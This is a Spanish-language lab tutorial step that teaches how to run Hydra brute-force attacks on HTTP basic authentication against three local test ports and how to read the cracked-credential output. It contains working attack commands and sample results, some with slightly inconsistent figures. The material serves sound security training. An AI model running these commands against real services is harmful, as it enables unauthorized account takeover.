Comprobar la Salida para Múltiples Hosts
En este paso, aprenderás a interpretar la salida de Hydra cuando se ataca a múltiples objetivos HTTP. La salida de Hydra proporciona información valiosa sobre el éxito o el fracaso de los intentos de ataque en diferentes servicios web.
Cuando Hydra descifra con éxito una contraseña de autenticación básica HTTP, muestra las credenciales en el siguiente formato:
[<puerto>][http-get] host: <host> login: <nombre de usuario> password: <contraseña>
Por ejemplo:
[8081][http-get] host: 127.0.0.1 login: admin password: password123
Esto indica que Hydra descifró con éxito la autenticación básica HTTP para el usuario admin en el host 127.0.0.1 en el puerto 8081, con la contraseña password123.
Analicemos la salida de los ataques HTTP y entendamos qué significan los diferentes resultados.
-
Ejecuta de nuevo el comando completo de ataque Hydra para ver la salida completa:
cd ~/project
hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /
-
Examina la salida detallada. Deberías ver resultados para los tres objetivos:
Salida completa esperada:
Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
[DATA] max 8 tasks per 1 server, overall 24 tasks, 60 login tries (l:4/p:5), ~3 try per task
[DATA] attacking http-get://127.0.0.1:8081:80/
[DATA] attacking http-get://127.0.0.1:8082:80/
[DATA] attacking http-get://127.0.0.1:8083:80/
[8081][http-get] host: 127.0.0.1 login: admin password: password123
[8082][http-get] host: 127.0.0.1 login: user password: secret
[8083][http-get] host: 127.0.0.1 login: testuser password: password
1 of 3 targets completed, 3 valid passwords found
Hydra finished.
-
Para ver cómo se ven los intentos fallidos, creemos un escenario con algunas credenciales inválidas. Crea un nuevo archivo de contraseñas con la mayoría de contraseñas incorrectas:
echo "wrongpass" > wrong_passwords.txt
echo "badpass" >> wrong_passwords.txt
echo "password123" >> wrong_passwords.txt ## Solo una contraseña correcta
-
Ejecuta Hydra con salida detallada para ver los intentos exitosos y fallidos:
hydra -L users.txt -P wrong_passwords.txt -t 4 -v -M targets.txt http-get /
Verás una salida detallada que muestra el intento exitoso:
(La salida detallada del ejemplo se omite para mantener la coherencia con el formato original)
-
Guarda los resultados en un archivo para su análisis posterior:
hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get / -o hydra_results.txt
Revisa el archivo de resultados:
cat hydra_results.txt
Cómo interpretar los resultados de los ataques HTTP:
- Ataques exitosos: Las líneas que comienzan con
[puerto][http-get] muestran los descubrimientos exitosos de credenciales.
- Información del objetivo: Cada resultado exitoso muestra el host, puerto, nombre de usuario y contraseña exactos.
- Estadísticas resumidas: La línea final muestra cuántos objetivos fueron atacados y cuántas contraseñas válidas se encontraron.
- Intentos fallidos: Con el modo detallado, puedes ver cada intento de inicio de sesión fallido.
- Archivos de salida: Usar
-o guarda solo los resultados exitosos en un archivo para un análisis fácil.
Diferencias clave con otros protocolos:
- Los ataques HTTP muestran el número de puerto claramente en los resultados.
- Los tiempos de respuesta suelen ser más rápidos que los ataques SSH.
- Múltiples dominios de autenticación en el mismo servidor aparecerían como diferentes objetivos.
- Los códigos de estado HTTP (como 401, 403) proporcionan contexto adicional sobre los fallos.
En este paso, has aprendido a interpretar la salida de Hydra al atacar múltiples objetivos HTTP, a comprender la diferencia entre intentos exitosos y fallidos, y a guardar los resultados para su análisis. Este conocimiento es crucial para las pruebas de seguridad efectivas de aplicaciones web.